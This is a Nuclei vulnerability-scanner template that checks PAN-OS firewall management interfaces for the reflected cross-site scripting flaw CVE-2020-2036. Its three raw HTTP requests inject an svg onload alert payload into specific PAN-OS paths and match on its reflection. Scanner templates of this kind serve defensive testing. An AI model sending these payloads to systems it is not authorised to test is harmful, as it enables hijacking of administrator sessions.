nuclei-templates/http/cves/2020/CVE-2020-2036.yaml

55 lines
2.7 KiB
YAML

id: CVE-2020-2036
info:
name: Palo Alto Networks PAN-OS Web Interface - Cross Site-Scripting
author: madrobot,j4vaovo
severity: high
description: |
PAN-OS management web interface is vulnerable to reflected cross-site scripting. A remote attacker able to convince an administrator with an active authenticated session on the firewall management interface to click on a crafted link to that management web interface could potentially execute arbitrary JavaScript code in the administrator's browser and perform administrative actions. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patches or updates provided by Palo Alto Networks to mitigate this vulnerability.
reference:
- https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/
- https://security.paloaltonetworks.com/CVE-2020-2036
- https://nvd.nist.gov/vuln/detail/CVE-2020-2036
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2020-2036
cwe-id: CWE-79
epss-score: 0.02306
epss-percentile: 0.88516
cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: paloaltonetworks
product: pan-os
tags: cve,cve2020,vpn,xss,paloaltonetworks
http:
- raw:
- |
GET /_404_/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
Host: {{Hostname}}
- |
GET /unauth/php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
Host: {{Hostname}}
- |
GET /php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- "!contains(tolower(body_1), '<svg/onload=alert(document.domain)>')"
condition: and
- type: dsl
dsl:
- "status_code_2 == 200 && contains(header_2, 'text/html') && contains(tolower(body_2), '<svg/onload=alert(document.domain)>')"
- "status_code_3 == 200 && contains(header_3, 'text/html') && contains(tolower(body_3), '<svg/onload=alert(document.domain)>')"
condition: or
# digest: 4a0a004730450220158889289c66b62a49a9f7bc9b0e394b81603f2fbbb0d2b0b7d0b0a6fc72d3a8022100aa0c69bbb6ef062e9fa9f566d4a0ce978319a1775177e09f2bf320bfe9a691ee:922c64590222798bb761d5b6d8e72950